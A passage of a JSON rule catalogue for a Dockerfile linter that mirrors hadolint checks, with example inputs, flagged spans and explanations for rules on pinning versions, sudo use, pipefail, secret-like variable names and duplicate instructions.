        "input": "FROM alpine:latest\nFROM --platform=linux/amd64 alpine:3\nFROM --platform=$TARGETPLATFORM alpine:3\nFROM --platform=$BUILDPLATFORM alpine:3 AS scratch\nFROM alpine:3@sha256:abc\nWORKDIR app\nWORKDIR /app\nWORKDIR $HOME\nEXPOSE 8080 70000\nEXPOSE 80/tcp 443\nCMD node server.js\nCMD [\"node\", \"server.js\"]\nENTRYPOINT /run.sh\nONBUILD CMD echo hi\nONBUILD ONBUILD RUN x\nONBUILD MAINTAINER x\nMAINTAINER a@b.c\nCOPY --from=0 / /\nCOPY a b /dest\nCOPY a b /dest/\nCOPY a /dest\nADD app.js /app/\nADD app.tar.gz /app/\nADD https://example.com/f /app/\nUSER app\nUSER 1000:1000\nUSER $UID\nENV DB_PASSWORD=x\nENV A=1 NPM_TOKEN=y\nARG GITHUB_TOKEN\nARG VERSION=1\nENV AWS_ACCESS_KEY_ID=x\n",
        "language": "dockerfile",
        "other_lines": [
          1,
          2,
          3,
          4,
          6,
          9,
          11,
          12,
          13,
          17,
          18,
          19,
          22,
          25,
          28,
          29,
          30,
          32
        ],
        "spans": [
          {
            "column": 1,
            "length": 21,
            "line": 15
          },
          {
            "column": 1,
            "length": 20,
            "line": 16
          }
        ]
      },
      "fix": null,
      "id": "no-nested-onbuild",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL3043",
          "partial": false,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3043"
        }
      ],
      "why": "Docker does not allow these as triggers: `ONBUILD ONBUILD`, `ONBUILD FROM` and `ONBUILD MAINTAINER` are rejected with an error when the file is built, so the Dockerfile cannot be used."
    },
    {
      "category": "cleanup",
      "default_level": "off",
      "description": "Reports a `FROM` with `--platform=$TARGETPLATFORM` (or `${TARGETPLATFORM}`), which is what `FROM` does without the option.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM alpine:latest\nFROM --platform=linux/amd64 alpine:3\nFROM --platform=$TARGETPLATFORM alpine:3\nFROM --platform=$BUILDPLATFORM alpine:3 AS scratch\nFROM alpine:3@sha256:abc\nWORKDIR app\nWORKDIR /app\nWORKDIR $HOME\nEXPOSE 8080 70000\nEXPOSE 80/tcp 443\nCMD node server.js\nCMD [\"node\", \"server.js\"]\nENTRYPOINT /run.sh\nONBUILD CMD echo hi\nONBUILD ONBUILD RUN x\nONBUILD MAINTAINER x\nMAINTAINER a@b.c\nCOPY --from=0 / /\nCOPY a b /dest\nCOPY a b /dest/\nCOPY a /dest\nADD app.js /app/\nADD app.tar.gz /app/\nADD https://example.com/f /app/\nUSER app\nUSER 1000:1000\nUSER $UID\nENV DB_PASSWORD=x\nENV A=1 NPM_TOKEN=y\nARG GITHUB_TOKEN\nARG VERSION=1\nENV AWS_ACCESS_KEY_ID=x\n",
        "language": "dockerfile",
        "other_lines": [
          1,
          2,
          4,
          6,
          9,
          11,
          12,
          13,
          15,
          16,
          17,
          18,
          19,
          22,
          25,
          28,
          29,
          30,
          32
        ],
        "spans": [
          {
            "column": 1,
            "length": 40,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "no-redundant-target-platform",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL3065",
          "partial": false,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3065"
        }
      ],
      "why": "The target platform is already the default platform of a `FROM`, so the option changes nothing and only makes a reader look for what it does. Drop it."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a stage named `scratch` or `context` (`FROM alpine AS scratch`), compared without regard to case.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM alpine:latest\nFROM --platform=linux/amd64 alpine:3\nFROM --platform=$TARGETPLATFORM alpine:3\nFROM --platform=$BUILDPLATFORM alpine:3 AS scratch\nFROM alpine:3@sha256:abc\nWORKDIR app\nWORKDIR /app\nWORKDIR $HOME\nEXPOSE 8080 70000\nEXPOSE 80/tcp 443\nCMD node server.js\nCMD [\"node\", \"server.js\"]\nENTRYPOINT /run.sh\nONBUILD CMD echo hi\nONBUILD ONBUILD RUN x\nONBUILD MAINTAINER x\nMAINTAINER a@b.c\nCOPY --from=0 / /\nCOPY a b /dest\nCOPY a b /dest/\nCOPY a /dest\nADD app.js /app/\nADD app.tar.gz /app/\nADD https://example.com/f /app/\nUSER app\nUSER 1000:1000\nUSER $UID\nENV DB_PASSWORD=x\nENV A=1 NPM_TOKEN=y\nARG GITHUB_TOKEN\nARG VERSION=1\nENV AWS_ACCESS_KEY_ID=x\n",
        "language": "dockerfile",
        "other_lines": [
          1,
          2,
          3,
          6,
          9,
          11,
          12,
          13,
          15,
          16,
          17,
          18,
          19,
          22,
          25,
          28,
          29,
          30,
          32
        ],
        "spans": [
          {
            "column": 1,
            "length": 50,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "no-reserved-stage-name",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL3063",
          "partial": false,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3063"
        }
      ],
      "why": "BuildKit reserves both names: `scratch` is the empty base image and `context` is the name of the build context. A stage that takes one of them collides with that meaning, so `FROM scratch` or a reference to `context` no longer clearly says what it uses."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports an `ARG` or `ENV` whose name suggests a secret. The name contains `api_key`, `client_key`, `password`, `private`, `secret`, `token` or `username` (any case), or is one of a list of well-known credential variables such as `AWS_ACCESS_KEY_ID`. Only the name is read, so `PASSWORD_FILE` and `PRIVATE_NET` are reported too, and the value is not looked at.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM alpine:latest\nFROM --platform=linux/amd64 alpine:3\nFROM --platform=$TARGETPLATFORM alpine:3\nFROM --platform=$BUILDPLATFORM alpine:3 AS scratch\nFROM alpine:3@sha256:abc\nWORKDIR app\nWORKDIR /app\nWORKDIR $HOME\nEXPOSE 8080 70000\nEXPOSE 80/tcp 443\nCMD node server.js\nCMD [\"node\", \"server.js\"]\nENTRYPOINT /run.sh\nONBUILD CMD echo hi\nONBUILD ONBUILD RUN x\nONBUILD MAINTAINER x\nMAINTAINER a@b.c\nCOPY --from=0 / /\nCOPY a b /dest\nCOPY a b /dest/\nCOPY a /dest\nADD app.js /app/\nADD app.tar.gz /app/\nADD https://example.com/f /app/\nUSER app\nUSER 1000:1000\nUSER $UID\nENV DB_PASSWORD=x\nENV A=1 NPM_TOKEN=y\nARG GITHUB_TOKEN\nARG VERSION=1\nENV AWS_ACCESS_KEY_ID=x\n",
        "language": "dockerfile",
        "other_lines": [
          1,
          2,
          3,
          4,
          6,
          9,
          11,
          12,
          13,
          15,
          16,
          17,
          18,
          19,
          22,
          25
        ],
        "spans": [
          {
            "column": 1,
            "length": 17,
            "line": 28
          },
          {
            "column": 1,
            "length": 19,
            "line": 29
          },
          {
            "column": 1,
            "length": 16,
            "line": 30
          },
          {
            "column": 1,
            "length": 23,
            "line": 32
          }
        ]
      },
      "fix": null,
      "id": "no-secret-in-env",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL3064",
          "note": "Names are matched in the text of the instruction, so a later pair of a multi-pair ENV with quoted values may be missed.",
          "partial": true,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3064"
        }
      ],
      "why": "The value of an `ENV` is stored in the image configuration, and the value of an `ARG` shows up in `docker history`. Anyone who can pull the image can read them (`docker inspect`, `docker history`), even when a later instruction unsets them.\n\nA secret needed only during the build belongs in a build secret (`RUN --mount=type=secret,id=name ...`); a runtime secret belongs in the environment of the running container or a secrets store."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a `RUN` that replaces `/bin/sh`. That is an `ln` command with `/bin/sh` among its arguments (`ln -sf /bin/bash /bin/sh`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM alpine:3\nRUN sudo make install\nRUN cd /app && make\nRUN service nginx start\nRUN apt update\nRUN wget https://example.com/f\nRUN wget -q https://example.com/f\nRUN ln -sf /bin/bash /bin/sh\nRUN echo sudo cd ps\nRUN make && \\\n    sudo make install\nRUN v=$(sudo make) && echo \"$(wget https://example.com/f)\"\nONBUILD RUN sudo make\nRUN [\"sudo\", \"make\"]\n",
        "language": "dockerfile",
        "other_lines": [
          2,
          3,
          4,
          5,
          6,
          10,
          12,
          13,
          14
        ],
        "spans": [
          {
            "column": 1,
            "length": 28,
            "line": 8
          }
        ]
      },
      "fix": null,
      "id": "no-shell-symlink",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL4005",
          "partial": false,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL4005"
        }
      ],
      "why": "Replacing `/bin/sh` changes the shell that every script of the image, and of the packages you install, expects to be a POSIX `sh`. Scripts that start with `#!/bin/sh` then run under another shell than the one they were written for, and package scripts can fail in odd ways.\n\nTo use another shell for the build, the `SHELL` instruction (`SHELL [\"/bin/bash\", \"-c\"]`) changes only the shell of the later `RUN` instructions."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports a `RUN` that calls `sudo`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM alpine:3\nRUN sudo make install\nRUN cd /app && make\nRUN service nginx start\nRUN apt update\nRUN wget https://example.com/f\nRUN wget -q https://example.com/f\nRUN ln -sf /bin/bash /bin/sh\nRUN echo sudo cd ps\nRUN make && \\\n    sudo make install\nRUN v=$(sudo make) && echo \"$(wget https://example.com/f)\"\nONBUILD RUN sudo make\nRUN [\"sudo\", \"make\"]\n",
        "language": "dockerfile",
        "other_lines": [
          3,
          4,
          5,
          6,
          8
        ],
        "spans": [
          {
            "column": 1,
            "length": 21,
            "line": 2
          },
          {
            "column": 1,
            "length": 1,
            "line": 10
          },
          {
            "column": 1,
            "length": 58,
            "line": 12
          },
          {
            "column": 9,
            "length": 13,
            "line": 13
          },
          {
            "column": 1,
            "length": 20,
            "line": 14
          }
        ]
      },
      "fix": null,
      "id": "no-sudo",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL3004",
          "partial": false,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3004"
        }
      ],
      "why": "A `RUN` already runs as the user of the last `USER` instruction, root by default, so `sudo` adds nothing. Most images do not have it installed, and where it exists it may ask for a password or reset the environment (`HOME`, `PATH`), so the command sees something else than the rest of the build.\n\nFor a step that needs root, put `USER root` before it and switch back after it; to drop privileges at start, use a tool such as `gosu` in the entrypoint."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports an `npm install` (also `npm i` and `npm add`) of a package without a version: `express` instead of `express@4.18.2`, `@scope/name` instead of `@scope/name@1.2.0`. A path, a tarball (`.tgz`, `.tar.gz`) or a git URL with a `#ref` counts as pinned. The value of `--loglevel` or `--registry` is not taken for a package, and an `npm install` with no package (it reads `package.json`) is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM node:20\nRUN pip install flask\nRUN pip install flask==2.0 \"requests>=2\"\nRUN pip3 install -r requirements.txt\nRUN pip install --no-cache-dir -i https://x/simple flask==1\nRUN pip install .\nRUN pip install git+https://github.com/a/b\nRUN pip install git+https://github.com/a/b@v1\nRUN npm install\nRUN npm install express\nRUN npm install express@4 @scope/pkg@1\nRUN npm install --loglevel verbose express@4\nRUN npm install ./local\nRUN npm i express\nRUN npm add express@4\nRUN gem install rails\nRUN gem install --no-document rails\nRUN gem install --source https://rubygems.org rails:7.0\nRUN gem install rails:7.0\nRUN gem install rails -v 7.0\nRUN go install example.com/x\nRUN go install example.com/x@v1\nRUN go install example.com/x@latest\n",
        "language": "dockerfile",
        "other_lines": [
          2,
          7,
          16,
          17,
          21,
          23
        ],
        "spans": [
          {
            "column": 1,
            "length": 23,
            "line": 10
          },
          {
            "column": 1,
            "length": 17,
            "line": 14
          }
        ]
      },
      "fix": null,
      "id": "npm-pin-versions",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL3016",
          "note": "A package is judged by its text (`@`, `#`, tarball, path); git and scoped forms follow hadolint's cases only.",
          "partial": true,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3016"
        }
      ],
      "why": "Without a version npm installs the latest release on the day of the build, so a new major version of the package can break the image and two builds of one Dockerfile differ.\n\nPin the version in the command, or keep it in `package.json` with a lock file and use `npm ci`."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a `USER` whose user is a name instead of a number (`USER app`, `USER app:1000`). `USER 1000`, `USER 1000:app` and a variable are not reported: only the user part is checked, the group may be a name.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM alpine:latest\nFROM --platform=linux/amd64 alpine:3\nFROM --platform=$TARGETPLATFORM alpine:3\nFROM --platform=$BUILDPLATFORM alpine:3 AS scratch\nFROM alpine:3@sha256:abc\nWORKDIR app\nWORKDIR /app\nWORKDIR $HOME\nEXPOSE 8080 70000\nEXPOSE 80/tcp 443\nCMD node server.js\nCMD [\"node\", \"server.js\"]\nENTRYPOINT /run.sh\nONBUILD CMD echo hi\nONBUILD ONBUILD RUN x\nONBUILD MAINTAINER x\nMAINTAINER a@b.c\nCOPY --from=0 / /\nCOPY a b /dest\nCOPY a b /dest/\nCOPY a /dest\nADD app.js /app/\nADD app.tar.gz /app/\nADD https://example.com/f /app/\nUSER app\nUSER 1000:1000\nUSER $UID\nENV DB_PASSWORD=x\nENV A=1 NPM_TOKEN=y\nARG GITHUB_TOKEN\nARG VERSION=1\nENV AWS_ACCESS_KEY_ID=x\n",
        "language": "dockerfile",
        "other_lines": [
          1,
          2,
          3,
          4,
          6,
          9,
          11,
          12,
          13,
          15,
          16,
          17,
          18,
          19,
          22,
          28,
          29,
          30,
          32
        ],
        "spans": [
          {
            "column": 1,
            "length": 8,
            "line": 25
          }
        ]
      },
      "fix": null,
      "id": "numeric-user-id",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL3066",
          "note": "A variable is accepted whether or not an ARG defines it.",
          "partial": true,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3066"
        }
      ],
      "why": "A name is looked up in the `/etc/passwd` of the image at run time, which tools outside the image cannot do. Kubernetes with `runAsNonRoot: true` refuses to start a container whose image user is a name (it cannot verify that the user is not root), and file permissions on mounted volumes use the number, not the name.\n\nCreate the user with a fixed id (`useradd -u 1000 app`) and write `USER 1000`."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a `pip install` (also `pip3`, `pip3.12`) of a package without a version. A package is pinned when it has a specifier (`==`, `>=`, `<`, `!=`, `~=`) or is a wheel, a source archive or a path (`.whl`, `.tar.gz`, anything with a `/`). A VCS requirement such as `git+https://example.com/x.git` must name a revision after `@`.\n\nNot reported: `pip install -r requirements.txt` and `-c constraints.txt` (the versions are in the file), `pip install .`, and the values of options such as `-i`, `-e` or `-t`. `python -m pip install` and `pipenv` are not checked.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM node:20\nRUN pip install flask\nRUN pip install flask==2.0 \"requests>=2\"\nRUN pip3 install -r requirements.txt\nRUN pip install --no-cache-dir -i https://x/simple flask==1\nRUN pip install .\nRUN pip install git+https://github.com/a/b\nRUN pip install git+https://github.com/a/b@v1\nRUN npm install\nRUN npm install express\nRUN npm install express@4 @scope/pkg@1\nRUN npm install --loglevel verbose express@4\nRUN npm install ./local\nRUN npm i express\nRUN npm add express@4\nRUN gem install rails\nRUN gem install --no-document rails\nRUN gem install --source https://rubygems.org rails:7.0\nRUN gem install rails:7.0\nRUN gem install rails -v 7.0\nRUN go install example.com/x\nRUN go install example.com/x@v1\nRUN go install example.com/x@latest\n",
        "language": "dockerfile",
        "other_lines": [
          10,
          14,
          16,
          17,
          21,
          23
        ],
        "spans": [
          {
            "column": 1,
            "length": 21,
            "line": 2
          },
          {
            "column": 1,
            "length": 42,
            "line": 7
          }
        ]
      },
      "fix": null,
      "id": "pip-pin-versions",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL3013",
          "note": "`python -m pip install` and the wrappers (`pipx`, `pipenv`) are not told apart as hadolint does.",
          "partial": true,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3013"
        }
      ],
      "why": "An unpinned `pip install` takes the latest release of the package, and of the libraries it depends on, on the day of the build. A new major version can break the application, and two builds of one Dockerfile give different images.\n\nPin the packages, ideally in a `requirements.txt` made by a lock tool, and install it with `-r`."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a `RUN` with a pipe (`a | b`) in a stage whose `SHELL` does not set `pipefail`. No earlier `SHELL` instruction of the stage has a word that contains `pipefail` (`SHELL [\"/bin/bash\", \"-o\", \"pipefail\", \"-c\"]`). A `set -o pipefail` inside the `RUN` itself does not count. A new `FROM` starts the check again.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM debian:12\nRUN a\nRUN b\n# a comment between does not matter\nRUN c\nENV A=1\nRUN d\nRUN e && f\nRUN g\nRUN h $(i)\nRUN j\nRUN --mount=type=cache,target=/x k\nRUN --mount=type=cache,target=/x l\nRUN m\nRUN [\"n\", \"o\"]\nRUN [\"p\"]\n\nRUN a | b\nRUN a || b\nRUN [\"a\", \"b\"]\nSHELL [\"/bin/bash\", \"-o\", \"pipefail\", \"-c\"]\nRUN a | b\nFROM debian:12\nRUN a | b\nRUN apt-get update\nRUN apt-get update && apt-get install -y a\nRUN apt update\nRUN apt-get update && rm -rf /var/lib/apt/lists/*\nRUN apt-get update && apt-get install -y a && rm -fr \"/var/lib/apt/lists\"\nRUN --mount=type=cache,target=/var/lib/apt/lists apt-get update\nRUN apt-get install -y a\n",
        "language": "dockerfile",
        "other_lines": [
          3,
          5,
          13,
          15,
          16,
          25,
          26,
          27
        ],
        "spans": [
          {
            "column": 1,
            "length": 9,
            "line": 18
          },
          {
            "column": 1,
            "length": 9,
            "line": 24
          }
        ]
      },
      "fix": null,
      "id": "pipefail-shell",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL4006",
          "note": "A SHELL instruction with a word that contains `pipefail` ends the check for the rest of the stage.",
          "partial": true,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL4006"
        }
      ],
      "why": "The exit status of a pipe is the one of its last command. `curl -f https://example.com/x | tar xz` succeeds even when curl fails and tar gets nothing, so the build goes on with a missing or broken file and the error shows up much later. With `pipefail` any failing command of the pipe fails the `RUN`.\n\nTo fix, set the option for the stage with `SHELL [\"/bin/bash\", \"-o\", \"pipefail\", \"-c\"]`; the default `/bin/sh` of some images (Debian's dash) does not have the option."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a `yum install`, `dnf install` or `microdnf install` of a package without a version. A package is pinned when it is written `name-version` (`curl-7.88.1`: a digit after a dash), is a `.rpm` file or contains a variable. Commands with `module` or `group` are not checked.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM fedora:40\nRUN yum install curl\nRUN yum install -y curl-7.0 && yum clean all\nRUN yum install -y curl-7.0 && rm -rf /var/cache/yum/*\nRUN yum install -y nginx-1.2 && yum clean all\nRUN dnf install curl\nRUN dnf install -y curl-7.0\nRUN dnf install -y curl-7.0 && dnf clean all\nRUN microdnf install -y curl-7.0\nRUN dnf install -y ./a.rpm && dnf clean all\nRUN zypper install curl\nRUN zypper install -y curl=7.0 && zypper clean\nRUN zypper install -y curl\nRUN zypper dist-upgrade\nRUN zypper -n in curl=1 && zypper cc\n",
        "language": "dockerfile",
        "other_lines": [
          7,
          9,
          11,
          13,
          14
        ],
        "spans": [
          {
            "column": 1,
            "length": 20,
            "line": 2
          },
          {
            "column": 1,
            "length": 20,
            "line": 6
          },
          {
            "column": 1,
            "length": 43,
            "line": 10
          }
        ]
      },
      "fix": null,
      "id": "rpm-pin-versions",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL3033",
          "note": "A variable in a package counts as pinned; hadolint checks that an ENV or ARG defines it.",
          "partial": true,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3033"
        },
        {
          "id": "DL3041",
          "note": "A variable in a package counts as pinned; hadolint checks that an ENV or ARG defines it.",
          "partial": true,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3041"
        }
      ],
      "why": "An unpinned install takes the newest version in the enabled repositories on the day of the build. Two builds of one Dockerfile can then differ, and a new release can break the image without any change in your code.\n\nPinned versions make the build repeatable. Repositories drop old versions, so a pin needs updating from time to time."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports each `CMD` after the first one in the same stage. A `CMD` after `ONBUILD` is not counted, and a new `FROM` starts the count again.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM alpine:latest\nFROM --platform=linux/amd64 alpine:3\nFROM --platform=$TARGETPLATFORM alpine:3\nFROM --platform=$BUILDPLATFORM alpine:3 AS scratch\nFROM alpine:3@sha256:abc\nWORKDIR app\nWORKDIR /app\nWORKDIR $HOME\nEXPOSE 8080 70000\nEXPOSE 80/tcp 443\nCMD node server.js\nCMD [\"node\", \"server.js\"]\nENTRYPOINT /run.sh\nONBUILD CMD echo hi\nONBUILD ONBUILD RUN x\nONBUILD MAINTAINER x\nMAINTAINER a@b.c\nCOPY --from=0 / /\nCOPY a b /dest\nCOPY a b /dest/\nCOPY a /dest\nADD app.js /app/\nADD app.tar.gz /app/\nADD https://example.com/f /app/\nUSER app\nUSER 1000:1000\nUSER $UID\nENV DB_PASSWORD=x\nENV A=1 NPM_TOKEN=y\nARG GITHUB_TOKEN\nARG VERSION=1\nENV AWS_ACCESS_KEY_ID=x\n",
        "language": "dockerfile",
        "other_lines": [
          1,
          2,
          3,
          4,
          6,
          9,
          11,
          13,
          15,
          16,
          17,
          18,
          19,
          22,
          25,
          28,
          29,
          30,
          32
        ],
        "spans": [
          {
            "column": 1,
            "length": 25,
            "line": 12
          }
        ]
      },
      "fix": null,
      "id": "single-cmd",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL4003",
          "partial": false,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL4003"
        }
      ],
      "why": "A container has one default command. When a stage lists several `CMD` instructions only the last one takes effect, and the earlier ones do nothing. They look like configuration that runs, so a reader edits the wrong line or believes a command runs that never does.\n\nDelete all but the one you mean."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports each `ENTRYPOINT` after the first one in the same stage. An `ENTRYPOINT` after `ONBUILD` is not counted, and a new `FROM` starts the count again.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM alpine\nFROM alpine:3 AS build\nFROM build\nFROM scratch\nFROM alpine:3 AS build\nFROM $BASE\nFROM alpine:3 AS Build\nFROM BUILD\nFROM localhost:5000/img\nFROM localhost:5000/img:1\nFROM alpine@sha256:abc\nUSER root\nUSER app\nUSER 0:0\nCOPY --from=build /a /b\nCOPY --from=nope /a /b\nCOPY --from=BUILD /a /b\nCOPY --from=0 /a /b\nCOPY --from=99 /a /b\nCOPY --from=alpine:3 /a /b\nCMD [\"a\"]\nCMD [\"b\"]\nENTRYPOINT [\"a\"]\nENTRYPOINT [\"b\"]\nHEALTHCHECK CMD a\nHEALTHCHECK CMD b\nFROM alpine:3 AS last\nCOPY --from=LAST /a /b\nUSER app\nCMD [\"a\"]\nUSER root\n",
        "language": "dockerfile",
        "other_lines": [
          1,
          5,
          7,
          9,
          14,
          16,
          19,
          22,
          25,
          26,
          28,
          31
        ],
        "spans": [
          {
            "column": 1,
            "length": 16,
            "line": 24
          }
        ]
      },
      "fix": null,
      "id": "single-entrypoint",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL4004",
          "partial": false,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL4004"
        }
      ],
      "why": "A container has one entrypoint. When a stage lists several `ENTRYPOINT` instructions only the last one takes effect, and the earlier ones are ignored without a warning, so a change to an earlier line does nothing.\n\nDelete all but the one you mean."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports each `HEALTHCHECK` after the first one in the same stage, `HEALTHCHECK NONE` included. A new `FROM` starts the count again.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM alpine\nFROM alpine:3 AS build\nFROM build\nFROM scratch\nFROM alpine:3 AS build\nFROM $BASE\nFROM alpine:3 AS Build\nFROM BUILD\nFROM localhost:5000/img\nFROM localhost:5000/img:1\nFROM alpine@sha256:abc\nUSER root\nUSER app\nUSER 0:0\nCOPY --from=build /a /b\nCOPY --from=nope /a /b\nCOPY --from=BUILD /a /b\nCOPY --from=0 /a /b\nCOPY --from=99 /a /b\nCOPY --from=alpine:3 /a /b\nCMD [\"a\"]\nCMD [\"b\"]\nENTRYPOINT [\"a\"]\nENTRYPOINT [\"b\"]\nHEALTHCHECK CMD a\nHEALTHCHECK CMD b\nFROM alpine:3 AS last\nCOPY --from=LAST /a /b\nUSER app\nCMD [\"a\"]\nUSER root\n",
        "language": "dockerfile",
        "other_lines": [
          1,
          5,
          7,
          9,
          14,
          16,
          19,
          22,
          24,
          25,
          28,
          31
        ],
        "spans": [
          {
            "column": 1,
            "length": 17,
            "line": 26
          }
        ]
      },
      "fix": null,
      "id": "single-healthcheck",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL3012",
          "partial": false,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3012"
        }
      ],
      "why": "A container has one health check. When a stage lists several only the last one takes effect, so an earlier one (an interval or a command you tuned) is ignored and the container is judged by another check than the file suggests."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a `FROM` image with neither a tag nor a digest (`FROM alpine`). Docker reads it as `:latest`. Not reported: `scratch`, a variable (`$BASE`) and the name of an earlier stage (compared without case). A `:` in the registry host (`localhost:5000/app`) is a port, not a tag.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM alpine\nFROM alpine:3 AS build\nFROM build\nFROM scratch\nFROM alpine:3 AS build\nFROM $BASE\nFROM alpine:3 AS Build\nFROM BUILD\nFROM localhost:5000/img\nFROM localhost:5000/img:1\nFROM alpine@sha256:abc\nUSER root\nUSER app\nUSER 0:0\nCOPY --from=build /a /b\nCOPY --from=nope /a /b\nCOPY --from=BUILD /a /b\nCOPY --from=0 /a /b\nCOPY --from=99 /a /b\nCOPY --from=alpine:3 /a /b\nCMD [\"a\"]\nCMD [\"b\"]\nENTRYPOINT [\"a\"]\nENTRYPOINT [\"b\"]\nHEALTHCHECK CMD a\nHEALTHCHECK CMD b\nFROM alpine:3 AS last\nCOPY --from=LAST /a /b\nUSER app\nCMD [\"a\"]\nUSER root\n",
        "language": "dockerfile",
        "other_lines": [
          5,
          7,
          14,
          16,
          19,
          22,
          24,
          25,
          26,
          28,
          31
        ],
        "spans": [
          {
            "column": 1,
            "length": 11,
            "line": 1
          },
          {
            "column": 1,
            "length": 23,
            "line": 9
          }
        ]
      },
      "fix": null,
      "id": "untagged-base-image",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL3006",
          "partial": false,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3006"
        }
      ],
      "why": "An image without a tag is pulled as `latest`, so the Dockerfile does not even say which version it builds on. The base changes with each upstream release, and a rebuild can fail or behave differently with no change in the file.\n\nName a release (`alpine:3.20`) or a digest."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `RUN` that calls `cd`, anywhere in its script (also in a subshell such as `(cd sub && make)`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "FROM alpine:3\nRUN sudo make install\nRUN cd /app && make\nRUN service nginx start\nRUN apt update\nRUN wget https://example.com/f\nRUN wget -q https://example.com/f\nRUN ln -sf /bin/bash /bin/sh\nRUN echo sudo cd ps\nRUN make && \\\n    sudo make install\nRUN v=$(sudo make) && echo \"$(wget https://example.com/f)\"\nONBUILD RUN sudo make\nRUN [\"sudo\", \"make\"]\n",
        "language": "dockerfile",
        "other_lines": [
          2,
          4,
          5,
          6,
          8,
          10,
          12,
          13,
          14
        ],
        "spans": [
          {
            "column": 1,
            "length": 19,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "use-workdir-not-cd",
      "languages": [
        "dockerfile"
      ],
      "options": [],
      "presets": [
        "dockerfile/hadolint"
      ],
      "upstream": [
        {
          "id": "DL3003",
          "partial": false,
          "tool": "hadolint",
          "url": "https://github.com/hadolint/hadolint/wiki/DL3003"
        }
      ],
